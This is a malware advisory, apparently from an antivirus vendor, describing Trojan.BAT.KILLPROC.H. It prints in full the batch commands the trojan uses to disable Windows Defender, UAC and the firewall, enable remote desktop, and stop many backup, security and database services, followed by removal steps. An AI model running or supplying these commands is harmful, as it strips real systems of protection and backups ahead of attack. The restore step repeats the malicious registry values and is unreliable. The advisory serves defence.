Trojan.BAT.KILLPROC.H
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted:
In the wild: Yes
OVERVIEW
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
4,188 bytes
Yes
03 Apr 2023
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan adds the following processes:
- REG add "HKLM\SYSTEM\CurrentControlSet\services\WinDefend" /v Start /t REG_DWORD /d 4 /f
- REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 0 /f
- netsh advfirewall set currentprofile state off
- net stop MSSQLServerADHelper100
- net stop MSSQL$ISARS
- net stop MSSQL$MSFW
- net stop SQLAgent$ISARS
- net stop SQLAgent$MSFW
- net stop MSSQLFDLauncher
- net stop MSSQLServerOLAPService
- net stop MsDtsServer110
- net stop SQLBrowser
- net stop ReportServer$ISARS
- net stop SQLWriter
- net stop WinDefend
- net stop mr2kserv
- net stop MSExchangeADTopology
- net stop MSExchangeFBA
- net stop MSExchangeIS
- net stop MSExchangeSA
- net stop ShadowProtectSvc
- net stop SPAdminV4
- net stop SPTimerV4
- net stop SPTraceV4
- net stop SPUserCodeV4
- net stop SPWriterV4
- net stop SPSearch4
- net stop MSSQLServerADHelper100
- net stop IISADMIN
- net stop firebirdguardiandefaultinstance
- net stop ibmiasrw
- net stop QBCFMonitorService
- net stop QBVSS
- net stop QBPOSDBServiceV12
- net stop "IBM Domino Server (CProgramFilesIBMDominodata)"
- net stop "IBM Domino Diagnostics (CProgramFilesIBMDomino)"
- net stop IISADMIN
- net stop "Simply Accounting Database Connection Manager"
- net stop QuickBooksDB1
- net stop QuickBooksDB2
- net stop QuickBooksDB3
- net stop QuickBooksDB4
- net stop QuickBooksDB5
- net stop QuickBooksDB6
- net stop QuickBooksDB7
- net stop QuickBooksDB8
- net stop QuickBooksDB9
- net stop QuickBooksDB10
- net stop QuickBooksDB11
- net stop QuickBooksDB12
- net stop QuickBooksDB13
- net stop QuickBooksDB14
- net stop QuickBooksDB15
- net stop QuickBooksDB16
- net stop QuickBooksDB17
- net stop QuickBooksDB18
- net stop QuickBooksDB19
- net stop QuickBooksDB20
- net stop QuickBooksDB21
- net stop QuickBooksDB22
- net stop QuickBooksDB23
- net stop QuickBooksDB24
- net stop QuickBooksDB25
- net stop ReportServer
- net.exe stop avpsus /y
- net.exe stop "SQL Backup Master" /y
- net.exe stop "SQLWriter" /y
- net.exe stop "SQLBrowser" /y
- net.exe stop "MSSQLFDLauncher" /y
- net.exe stop McAfeeDLPAgentService /y
- net.exe stop "MSSQLServerOLAPService" /y
- net.exe stop "ReportServer" /y
- net.exe stop mfewc /y
- net.exe stop BMR Boot Service /y
- net.exe stop NetBackup BMR MTFTP Service /y
- net.exe stop DefWatch /y
- net.exe stop ccEvtMgr /y
- net.exe stop ccSetMgr /y
- net.exe stop SavRoam /y
- net.exe stop MSSQLServerOLAPService /y
- net.exe stop MsDtsServer110 /y
- net.exe stop RTVscan /y
- net.exe stop QBFCService /y
- net.exe stop QBIDPService /y
- net.exe stop Intuit.QuickBooks.FCS /y
- net.exe stop QBCFMonitorService /y
- net.exe stop YooBackup /y
- net.exe stop YooIT /y
- net.exe stop zhudongfangyu /y
- net.exe stop stc_raw_agent /y
- net.exe stop VSNAPVSS /y
- net.exe stop VeeamTransportSvc /y
- net.exe stop VeeamDeploymentService /y
- net.exe stop VeeamNFSSvc /y
- net.exe stop veeam /y
- net.exe stop PDVFSService /y
- net.exe stop BackupExecVSSProvider /y
- net.exe stop BackupExecAgentAccelerator /y
- net.exe stop BackupExecAgentBrowser /y
- net.exe stop BackupExecDiveciMediaService /y
- net.exe stop BackupExecJobEngine /y
- net.exe stop BackupExecManagementService /y
- net.exe stop BackupExecRPCService /y
- net.exe stop AcrSch2Svc /y
- net.exe stop AcronisAgent /y
- net.exe stop CASAD2DWebSvc /y
- net.exe stop CAARCUpdateSvc /y
- net.exe stop sophos /y
- taskkill /f /im mysql* /T
- taskkill /f /im IBM* /T
- taskkill /f /im bes10* /T
- taskkill /f /im black* /T
- taskkill /f /im sql /T
- taskkill /f /im store.exe /T
- taskkill /f /im sql* /T
- taskkill /f /im vee* /T
- taskkill /f /im postg* /T
- taskkill k /f /im sage* /T
- taskkill /f /im orac* /T
- taskkill /f /im fbgu* /T
- taskkill /f /im firebird* /T
- taskkill /f /im fdlauncher* /T
- taskkill /f /im msmdsrv* /T
- taskkill /f /im MsDtsSrvr* /T
- taskkill /f /im ReportingServicesService* /T
Other System Modifications
This Trojan modifies the following registry entries:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinDefend
Start = 4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
EnableLUA = 0
HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows Defender" /v DisableAntiSpyware
DisableAntiSpyware = 1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Control\Terminal Server
fDenyTSConnections = 0
Process Termination
This Trojan terminates the following services if found on the affected system:
- AcronisAgent
- AcrSch2Svc
- avpsus
- BackupExecAgentAccelerator
- BackupExecAgentBrowser
- BackupExecDiveciMediaService
- BackupExecJobEngine
- BackupExecManagementService
- BackupExecRPCService
- BackupExecVSSProvider
- BMR Boot Service
- CAARCUpdateSvc
- CASAD2DWebSvc
- ccEvtMgr
- ccSetMgr
- DefWatch
- firebirdguardiandefaultinstance
- IBM Domino Diagnostics (CProgramFilesIBMDomino)
- IBM Domino Server (CProgramFilesIBMDominodata)
- ibmiasrw
- IISADMIN
- Intuit.QuickBooks.FCS
- McAfeeDLPAgentService
- mfewc
- mr2kserv
- MsDtsServer110
- MSExchangeADTopology
- MSExchangeFBA
- MSExchangeIS
- MSExchangeSA
- MSSQL$ISARS
- MSSQL$MSFW
- MSSQLFDLauncher
- MSSQLServerADHelper100
- MSSQLServerOLAPService
- NetBackup BMR MTFTP Service
- PDVFSService
- QBCFMonitorService
- QBFCService
- QBIDPService
- QBPOSDBServiceV12
- QBVSS
- QuickBooksDB1
- QuickBooksDB10
- QuickBooksDB11
- QuickBooksDB12
- QuickBooksDB13
- QuickBooksDB14
- QuickBooksDB15
- QuickBooksDB16
- QuickBooksDB17
- QuickBooksDB18
- QuickBooksDB19
- QuickBooksDB2
- QuickBooksDB20
- QuickBooksDB21
- QuickBooksDB22
- QuickBooksDB23
- QuickBooksDB24
- QuickBooksDB25
- QuickBooksDB3
- QuickBooksDB4
- QuickBooksDB5
- QuickBooksDB6
- QuickBooksDB7
- QuickBooksDB8
- QuickBooksDB9
- ReportServer
- ReportServer$ISARS
- RTVscan
- SavRoam
- ShadowProtectSvc
- Simply Accounting Database Connection Manager
- sophos
- SPAdminV4
- SPSearch4
- SPTimerV4
- SPTraceV4
- SPUserCodeV4
- SPWriterV4
- SQL Backup Master
- SQLAgent$ISARS
- SQLAgent$MSFW
- SQLBrowser
- SQLWriter
- stc_raw_agent
- veeam
- VeeamDeploymentService
- VeeamNFSSvc
- VeeamTransportSvc
- VSNAPVSS
- WinDefend
- YooBackup
- YooIT
- zhudongfangyu
It terminates the following processes if found running in the affected system's memory:
- bes10*
- black*
- fbgu*
- fdlauncher*
- firebird*
- IBM*
- MsDtsSrvr*
- msmdsrv*
- mysql*
- orac*
- postg*
- ReportingServicesService
- sage*
- sql
- sql*
- store.exe
- vee*
SOLUTION
9.800
18.360.04
03 Apr 2023
18.361.00
04 Apr 2023
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Restore this modified registry value
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\WinDefend
- Start = 4
- Start = 4
- In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
- EnableLUA = 0
- EnableLUA = 0
- In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware
- DisableAntiSpyware = 1
- DisableAntiSpyware = 1
- In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server
- fDenyTSConnections = 0
- fDenyTSConnections = 0
Step 3
Scan your computer with your Trend Micro product to delete files detected as Trojan.BAT.KILLPROC.H. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
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